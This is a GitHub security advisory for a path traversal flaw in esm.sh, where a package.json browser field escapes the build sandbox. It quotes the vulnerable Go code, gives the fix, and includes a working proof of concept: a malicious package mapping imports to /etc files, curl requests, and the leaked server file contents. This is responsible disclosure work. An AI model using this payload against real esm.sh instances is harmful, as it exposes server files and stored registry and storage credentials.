GHSA-rg65-45m7-hq57
esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/esm-dev/esm.sh | < 0.0.0-20250616164159-0593516c4cfa | 0.0.0-20250616164159-0593516c4cfa |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the `browser` field in `package.json`. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.
### Details
The vulnerable code is in the `OnResolve` callback of the esbuild plugin:
https://github.com/esm-dev/esm.sh/blob/main/server/build.go
The plugin validates that resolved file paths stay within the package working directory. However, after this check, the `browser` field from `package.json` remaps the module path to an attacker-controlled value containing `../` sequences. No validation is performed after the remapping.
```go
// Sandbox check passes for the original "./d1.txt" path
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier)
}
// ... later, browser field remaps to attacker-controlled path:
if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {
if path, ok := pkgJson.Browser[modulePath]; ok {
if path == "" {
return esbuild.OnResolveResult{
Path: args.Path,
Namespace: "browser-exclude",
}, nil
}
if !isRelPathSpecifier(path) {
externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)
if err != nil {
return esbuild.OnResolveResult{}, err
}
return esbuild.OnResolveResult{
Path: externalPath,
SideEffects: sideEffects,
External: true,
}, nil
}
modulePath = path
}
}
// path.Join collapses "../" sequences - escapes the package directory
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
// No second sandbox check
```
File contents appear in both the bundled JS output and the source map `sourcesContent` array.
Readable files are constrained by esbuild's loader selection based on file extension: `.json` files must be valid JSON, `.txt`/`.html`/`.md` are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The `config.json` of esm.sh is fully readable (valid JSON with `.json` extension).
Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.
### PoC
The test package is published at https://www.npmjs.com/package/chess-sec-utils1
**package.json:**
```json
{
"name": "chess-sec-utils1",
"version": "1.0.6",
"main": "index.js",
"type": "module",
"browser": {
"./d1.txt": "../../../../../../../../etc/hostname",
"./d2.json": "../../../../../../../../etc/os-release",
"./d3.json": "../../../../../../../../etc/environment"
}
}
```
**index.js:**
```js
import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"
export default { d1, d2, d3 }
```
```bash
npm publish
curl "https://<esm.sh-instance>/[email protected]"
curl "https://<esm.sh-instance>/[email protected]/es2022/chess-sec-utils1.mjs.map"
```
Server file contents in source map response:
```json
{
"sourcesContent": [
"ideapad\n",
"PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n",
"PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n",
"import d1 from \"./d1.txt\"..."
]
}
```
<img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" />
### Impact
An attacker can read sensitive files from the server, including the esm.sh `config.json` which may contain npm registry authentication tokens and S3 storage credentials.
### Fix
Add a path validation check after the `browser` field remapping:
```go
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked")
}
```
### Credit
Svyatoslav Berestovsky of Metascan
References
External links from the advisory. They lead to third-party sites.